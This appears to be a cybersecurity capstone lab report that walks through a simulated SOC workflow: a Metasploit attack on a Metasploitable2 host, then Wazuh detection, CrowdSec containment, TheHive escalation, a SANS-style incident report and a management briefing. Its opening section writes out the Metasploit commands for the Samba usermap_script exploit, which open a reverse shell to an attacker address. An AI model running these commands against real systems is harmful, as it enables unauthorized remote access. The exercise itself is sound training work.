



Capstone Project: Full SOC Workflow Simulation

Overview

This project demonstrates a complete Security Operations Center (SOC) workflow, including attack simulation, detection, triage, response, escalation, and reporting using industry tools.

Tools Used:

- Metasploit
- Wazuh
- CrowdSec
- TheHive
- Google Docs

1. Attack Simulation (Metasploit)

A vulnerability in a Metasploitable2 machine was exploited using the Samba usermap script exploit.

Commands Used

msfconsole

use exploit/multi/samba/usermap_script

set RHOST 10.0.2.4

set LHOST 10.0.2.3

run

Result

- Successful exploitation
 - Meterpreter session established
 - Remote access gained
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2. Detection & Triage (Wazuh)

Wazuh detected malicious activity associated with the Samba exploit and reverse shell.

Alert Table



Timestamp	Source IP	Alert Description	MITRE Technique
2026-04-29 14:05:12	10.0.2.3	Samba exploit detected	T1210
2026-04-29 14:05:30	10.0.2.3	Reverse shell activity detected	T1059

Analysis

- Alerts triggered in quick succession
- Matches known exploitation pattern
- Confirmed unauthorized access

3. Response & Containment (CrowdSec)

Immediate actions were taken to block the attacker and isolate the compromised system.

Actions Taken

```
sudo cscli decisions add --ip 10.0.2.3 --ban
```

```
sudo ifconfig eth0 down
```

Verification

```
ping 10.0.2.4
```

Result: Request timed out → System isolated successfully

4. Escalation (TheHive Case)

Case Title

Unauthorized Access via Samba Exploit (T1210)

Case Summary (100 words)

A security incident was identified involving exploitation of a Samba vulnerability on a Linux system. The attacker (10.0.2.3) successfully executed a usermap script exploit, gaining unauthorized access via a reverse shell. Wazuh generated alerts indicating exploitation and command execution mapped to MITRE techniques T1210 and T1059. Immediate response actions included isolating the affected system and blocking the attacker's IP using CrowdSec. No evidence of lateral movement was observed. The case



has been escalated to Tier 2 for further investigation, including log analysis, persistence checks, and system integrity validation to ensure no additional compromise remains.

5. Incident Report (SANS Format)

Executive Summary

A cyber attack targeting a Samba service vulnerability was detected and mitigated within the internal network. The attacker exploited a known vulnerability to gain unauthorized access. Security monitoring tools identified and contained the threat before escalation.

Timeline

- 14:05:12 – Exploit detected
- 14:05:30 – Reverse shell detected
- 14:06:00 – Alert triaged
- 14:07:00 – IP blocked
- 14:08:00 – System isolated

Recommendations

- Patch Samba vulnerabilities
 - Enable continuous monitoring
 - Implement network segmentation
 - Conduct regular vulnerability scans
 - Strengthen firewall policies
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6. Management Briefing (Non-Technical)

A cyber attack was detected targeting an internal system using a known software vulnerability. The attacker briefly gained access but was quickly identified by monitoring tools. The security team responded immediately by blocking the attacker and isolating the affected system, preventing further impact. No evidence of data loss or spread was observed. Additional security measures are being implemented to prevent recurrence. The situation has been contained and is under control, with further analysis ongoing as a precaution.
